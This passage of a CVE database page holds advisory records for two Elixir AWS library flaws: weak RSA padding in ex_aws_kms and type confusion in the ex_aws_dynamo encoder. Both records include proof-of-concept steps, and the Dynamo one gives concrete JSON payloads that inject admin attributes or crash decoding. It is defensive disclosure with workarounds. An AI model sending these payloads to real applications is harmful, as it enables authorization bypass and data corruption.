ex_aws_kms: from 2.1.0 before 2.7.0."
}
],
"impacts": [
{
"capecId": "CAPEC-463",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is a cryptographic weak-default issue affecting anyone who uses \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is a cryptographic weak-default issue affecting anyone who uses `ExAws.KMS.get_parameters_for_import/3` to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack."
}
],
"value": "This is a cryptographic weak-default issue affecting anyone who uses ExAws.KMS.get_parameters_for_import/3 to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-780",
"description": "CWE-780 Use of RSA Algorithm without OAEP",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T12:22:05.337Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_kms/security/advisories/GHSA-wq7g-9pm7-5crv"
},
{
"name": "EEF CNA record for CVE-2026-62271",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62271.html"
},
{
"name": "OSV record EEF-CVE-2026-62271",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62271"
},
{
"name": "Introducing commit b66631f in ex-aws/ex_aws_kms",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_kms/commit/b66631f206ec207ab7016c0c4d9f1ec898b56e85"
},
{
"name": "Fix commit 2d7f308 in ex-aws/ex_aws_kms",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_kms/commit/2d7f308da3cf75ab0385c0aebdc84ce65f6754f7"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws_kms defaults RSA key-material wrapping to PKCS#1 v1.5 in get_parameters_for_import/3",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eExplicitly pass \u003ccode\u003e\"RSAES_OAEP_SHA_256\"\u003c/code\u003e (or \u003ccode\u003e\"RSAES_OAEP_SHA_1\"\u003c/code\u003e) as the \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Explicitly pass `\"RSAES_OAEP_SHA_256\"` (or `\"RSAES_OAEP_SHA_1\"`) as the `wrapping_algorithm` argument to `ExAws.KMS.get_parameters_for_import/3` instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme."
}
],
"value": "Explicitly pass \"RSAES_OAEP_SHA_256\" (or \"RSAES_OAEP_SHA_1\") as the wrapping_algorithm argument to ExAws.KMS.get_parameters_for_import/3 instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eCall \u003ccode\u003eExAws.KMS.get_parameters_for_import(\"alias/import-target\")\u003c/code\u003e without a wrapping algorithm and read \u003ccode\u003eop.data[\"WrappingAlgorithm\"]\u003c/code\u003e: it is \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eWrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\u003c/li\u003e\n\u003cli\u003eGive the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\u003c/li\u003e\n\u003cli\u003eRun the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by \u003ccode\u003es^e mod n\u003c/code\u003e, query the oracle, and narrow the interval containing the plaintext until it converges.\u003c/li\u003e\n\u003cli\u003eThe recovered plaintext equals the wrapped key material, obtained without the private key.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. Call `ExAws.KMS.get_parameters_for_import(\"alias/import-target\")` without a wrapping algorithm and read `op.data[\"WrappingAlgorithm\"]`: it is `\"RSAES_PKCS1_V1_5\"`.\n2. Wrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\n3. Give the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\n4. Run the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by `s^e mod n`, query the oracle, and narrow the interval containing the plaintext until it converges.\n5. The recovered plaintext equals the wrapped key material, obtained without the private key."
}
],
"value": "* Call ExAws.KMS.get_parameters_for_import(\"alias/import-target\") without a wrapping algorithm and read op.data[\"WrappingAlgorithm\"]: it is \"RSAES_PKCS1_V1_5\".\n* Wrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\n* Give the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\n* Run the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by s^e mod n, query the oracle, and narrow the interval containing the plaintext until it converges.\n* The recovered plaintext equals the wrapped key material, obtained without the private key."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Weak default.\u003c/strong\u003e \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/kms.ex\u003c/code\u003e defaults its \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e. AWS KMS also offers \u003ccode\u003eRSAES_OAEP_SHA_1\u003c/code\u003e and \u003ccode\u003eRSAES_OAEP_SHA_256\u003c/code\u003e, so callers who do not pass the argument get the weakest of the three.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Wrapping with that scheme.\u003c/strong\u003e KMS returns the requested value as the \u003ccode\u003eWrappingAlgorithm\u003c/code\u003e of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling \u003ccode\u003eImportKeyMaterial\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Exposure.\u003c/strong\u003e PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Weak default.** `ExAws.KMS.get_parameters_for_import/3` in `lib/ex_aws/kms.ex` defaults its `wrapping_algorithm` argument to `\"RSAES_PKCS1_V1_5\"`. AWS KMS also offers `RSAES_OAEP_SHA_1` and `RSAES_OAEP_SHA_256`, so callers who do not pass the argument get the weakest of the three.\n\n**2. Wrapping with that scheme.** KMS returns the requested value as the `WrappingAlgorithm` of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling `ImportKeyMaterial`.\n\n**3. Exposure.** PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness."
}
],
"value": "1. Weak default. ExAws.KMS.get_parameters_for_import/3 in lib/ex_aws/kms.ex defaults its wrapping_algorithm argument to \"RSAES_PKCS1_V1_5\". AWS KMS also offers RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256, so callers who do not pass the argument get the weakest of the three.\n\n2. Wrapping with that scheme. KMS returns the requested value as the WrappingAlgorithm of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling ImportKeyMaterial.\n\n3. Exposure. PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62271",
"datePublished": "2026-11-24T12:22:05.337Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T12:22:05.337Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62270 (GCVE-0-2026-62270)
Vulnerability from nvd – Published: 2026-11-24 12:59 – Updated: 2026-11-24 12:59
VLAI
EPSS
VEX
Title
Type confusion via structural idempotency guard in ExAws.Dynamo.Encoder.encode/2
Summary
Improper Validation of Specified Type of Input in ExAws.Dynamo.Encoder.encode/2 in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB AttributeValue.
The encode/2 function in lib/ex_aws/dynamo/encoder.ex has one clause per DynamoDB type descriptor ("S", "N", "B", "BOOL", "M", "L", "NS", "SS", "BS", "NULL") that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the ExAws.Dynamo.Encodable protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.
An application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an expression_attribute_values entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute's declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.
This issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0.
Severity
CWE
- CWE-1287 - Improper Validation of Specified Type of Input
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_dynamo/security/… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62270.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62270 | related |
| https://github.com/ex-aws/ex_aws_dynamo/commit/a7… | related |
| https://github.com/ex-aws/ex_aws_dynamo/commit/8d… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| ex-aws | ex_aws_dynamo |
Affected:
2.0.0 , < 4.3.0
(semver)
cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:* |
|
| ex-aws | ex_aws_dynamo |
Affected:
a760463986f056937e61f5cd1c14e068c259d336 , < 8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413
(git)
cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:* |
Date Public
2026-11-24 12:58
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Dynamo.Encoder\u0027"
],
"packageName": "ex_aws_dynamo",
"packageURL": "pkg:hex/ex_aws_dynamo",
"product": "ex_aws_dynamo",
"programFiles": [
"lib/ex_aws/dynamo/encoder.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/2"
},
{
"name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws_dynamo",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "4.3.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Dynamo.Encoder\u0027"
],
"packageName": "ex-aws/ex_aws_dynamo",
"packageURL": "pkg:github/ex-aws/ex_aws_dynamo",
"product": "ex_aws_dynamo",
"programFiles": [
"lib/ex_aws/dynamo/encoder.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/2"
},
{
"name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws_dynamo",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413",
"status": "affected",
"version": "a760463986f056937e61f5cd1c14e068c259d336",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*",
"versionEndExcluding": "4.3.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T12:58:59.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Validation of Specified Type of Input in \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB \u003ccode\u003eAttributeValue\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eencode/2\u003c/code\u003e function in \u003ccode\u003elib/ex_aws/dynamo/encoder.ex\u003c/code\u003e has one clause per DynamoDB type descriptor (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e) that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the \u003ccode\u003eExAws.Dynamo.Encodable\u003c/code\u003e protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\u003c/p\u003e\n\u003cp\u003eAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an \u003ccode\u003eexpression_attribute_values\u003c/code\u003e entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Validation of Specified Type of Input in `ExAws.Dynamo.Encoder.encode/2` in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB `AttributeValue`.\n\nThe `encode/2` function in `lib/ex_aws/dynamo/encoder.ex` has one clause per DynamoDB type descriptor (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"M\"`, `\"L\"`, `\"NS\"`, `\"SS\"`, `\"BS\"`, `\"NULL\"`) that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the `ExAws.Dynamo.Encodable` protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\n\nAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an `expression_attribute_values` entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\n\nThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0."
}
],
"value": "Improper Validation of Specified Type of Input in ExAws.Dynamo.Encoder.encode/2 in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB AttributeValue.\n\nThe encode/2 function in lib/ex_aws/dynamo/encoder.ex has one clause per DynamoDB type descriptor (\"S\", \"N\", \"B\", \"BOOL\", \"M\", \"L\", \"NS\", \"SS\", \"BS\", \"NULL\") that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the ExAws.Dynamo.Encodable protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\n\nAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an expression_attribute_values entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\n\nThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0."
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eType confusion / improper input validation in \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e. Affects any application on \u003ccode\u003eex_aws_dynamo\u003c/code\u003e that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or \u003ccode\u003eexpression_attribute_values\u003c/code\u003e, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Type confusion / improper input validation in `ExAws.Dynamo.Encoder.encode/2`. Affects any application on `ex_aws_dynamo` that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or `expression_attribute_values`, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore."
}
],
"value": "Type confusion / improper input validation in ExAws.Dynamo.Encoder.encode/2. Affects any application on ex_aws_dynamo that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or expression_attribute_values, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1287",
"description": "CWE-1287 Improper Validation of Specified Type of Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T12:59:00.667Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_dynamo/security/advisories/GHSA-9776-rh77-6wp6"
},
{
"name": "EEF CNA record for CVE-2026-62270",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62270.html"
},
{
"name": "OSV record EEF-CVE-2026-62270",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62270"
},
{
"name": "Introducing commit a760463 in ex-aws/ex_aws_dynamo",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_dynamo/commit/a760463986f056937e61f5cd1c14e068c259d336"
},
{
"name": "Fix commit 8d1f1d8 in ex-aws/ex_aws_dynamo",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_dynamo/commit/8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Type confusion via structural idempotency guard in ExAws.Dynamo.Encoder.encode/2",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eValidate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e) before passing it to \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Validate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"M\"`, `\"L\"`, `\"NS\"`, `\"SS\"`, `\"BS\"`, `\"NULL\"`) before passing it to `ExAws.Dynamo.Encoder.encode/2` or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values."
}
],
"value": "Validate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (\"S\", \"N\", \"B\", \"BOOL\", \"M\", \"L\", \"NS\", \"SS\", \"BS\", \"NULL\") before passing it to ExAws.Dynamo.Encoder.encode/2 or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn endpoint takes a JSON body \u003ccode\u003e{\"filter\": \u0026lt;any JSON value\u0026gt;}\u003c/code\u003e and passes the value to \u003ccode\u003eExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value])\u003c/code\u003e, which runs it through \u003ccode\u003eEncoder.encode/2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA benign value \u003ccode\u003e{\"city\": \"Berlin\"}\u003c/code\u003e is encoded as type \u003ccode\u003eM\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sends \u003ccode\u003e{\"N\": \"1000000\"}\u003c/code\u003e. The \u003ccode\u003e\"N\"\u003c/code\u003e clause matches, the map is sent unchanged, and it reads back as the integer \u003ccode\u003e1000000\u003c/code\u003e instead of a map.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e{\"B\": \"\u0026lt;base64\u0026gt;\"}\u003c/code\u003e stores attacker-chosen raw bytes, \u003ccode\u003e{\"NULL\": \"true\"}\u003c/code\u003e makes an \u003ccode\u003eis_private\u003c/code\u003e flag decode to \u003ccode\u003enil\u003c/code\u003e, and \u003ccode\u003e{\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}}\u003c/code\u003e injects attributes the schema never sanctioned.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e{\"N\": \"evil\"}\u003c/code\u003e is stored as a malformed number, and a later scan by another user raises while decoding the item.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An endpoint takes a JSON body `{\"filter\": \u003cany JSON value\u003e}` and passes the value to `ExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value])`, which runs it through `Encoder.encode/2`.\n2. A benign value `{\"city\": \"Berlin\"}` is encoded as type `M`.\n3. The attacker sends `{\"N\": \"1000000\"}`. The `\"N\"` clause matches, the map is sent unchanged, and it reads back as the integer `1000000` instead of a map.\n4. `{\"B\": \"\u003cbase64\u003e\"}` stores attacker-chosen raw bytes, `{\"NULL\": \"true\"}` makes an `is_private` flag decode to `nil`, and `{\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}}` injects attributes the schema never sanctioned.\n5. `{\"N\": \"evil\"}` is stored as a malformed number, and a later scan by another user raises while decoding the item."
}
],
"value": "* An endpoint takes a JSON body {\"filter\": \u003cany JSON value\u003e} and passes the value to ExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value]), which runs it through Encoder.encode/2.\n* A benign value {\"city\": \"Berlin\"} is encoded as type M.\n* The attacker sends {\"N\": \"1000000\"}. The \"N\" clause matches, the map is sent unchanged, and it reads back as the integer 1000000 instead of a map.\n* {\"B\": \"\u003cbase64\u003e\"} stores attacker-chosen raw bytes, {\"NULL\": \"true\"} makes an is_private flag decode to nil, and {\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}} injects attributes the schema never sanctioned.\n* {\"N\": \"evil\"} is stored as a malformed number, and a later scan by another user raises while decoding the item."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
